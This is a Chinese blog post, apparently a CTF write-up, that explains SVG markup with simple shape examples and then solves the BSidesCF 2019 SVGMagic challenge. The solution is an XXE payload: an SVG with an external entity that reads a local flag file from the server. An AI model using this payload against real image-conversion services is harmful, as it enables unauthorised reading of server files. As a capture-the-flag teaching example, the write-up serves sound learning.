CTF之从SVG到XML

18 篇文章 0 订阅

0x01 SVG:

  1. SVG是一种缩放矢量图形,是基于可扩展标记语言(XML),用于描述二维矢量图形的图形格式。SVG由W3C制定,是一个开放标准。简单的理解,它是图形的另一种格式例如它和常见的图片格式.png、.jpg、.gif等是一类。
  2. 可以直接用代码来描绘图像,可以用任何文字处理工具打开SVG图像,通过改变部分代码来使图像具有交互功能,并可以随时插入到HTML中通过浏览器来观看。
  3. SVG 严格遵从 XML 语法,并用文本格式的描述性语言来描述图像内容,因此是一种和图像分辨率无关的矢量图形格式。

听上去还是懵懵的
请添加图片描述

0x02 SVG实例

在svg标签中,width:宽度 - height:高度 - x:水平方向上的偏移量 - y:竖直方向上的偏移量 - rx、ry:定义圆角效果 - style:样式(这些样式同样适用于下面的图形,所以下面的图形只会介绍属性,不会重复介绍样式) - fill:rgb颜色,表示矩形的填充颜色 - fill-opacity:填充的不透明度 - stroke:rgb颜色,表示矩形的边框颜色 - stroke-width:矩形边框的大小 - stroke-opacity:矩形边框的不透明度

圆形

circle标签属性解释如下: - cx、cy:圆心坐标 - r:圆的半径

<svg width="200px" height="200px" version="1.1" xmlns="http://www.w3.org/2000/svg">
    <circle cx="100" cy="50" r="40" style="stroke:black; stroke-width:2; fill:blue" />
</svg>

椭圆

ellipse标签属性解释如下: - cx:圆心的x坐标 - cy:圆心的y坐标 - rx:水平半径 - ry:竖直半径

<svg width="200px" height="200px" version="1.1" xmlns="http://www.w3.org/2000/svg">
    <ellipse cx="100" cy="50" rx="40" ry="50" style="fill:purple" />
</svg>

线条

line标签属性解释如下: - x1:线段的起点x坐标 - x2:线段的终点x坐标 - y1:线段的起点y坐标 - y2:线段的终点y坐标

<svg width="200px" height="200px" version="1.1" xmlns="http://www.w3.org/2000/svg">
    <line x1="10" y1="10" x2="100" y2="100" style="stroke:red;stroke-width:2" />
</svg>

请添加图片描述
还是要看代码 一看代码就啥都明白了!!!

0X03 SVG从一题到XXE

因为SVG严格遵守XML语言,然而XML语言是可以造成XXE漏洞的,呢么我们构造一下语句,试一下XXE漏洞

[BSidesCF 2019]SVGMagic

在这里插入图片描述
题目说的也很明白,使用magic将svg转换为png

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

根据构造得到的XML代码 上传上去
在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值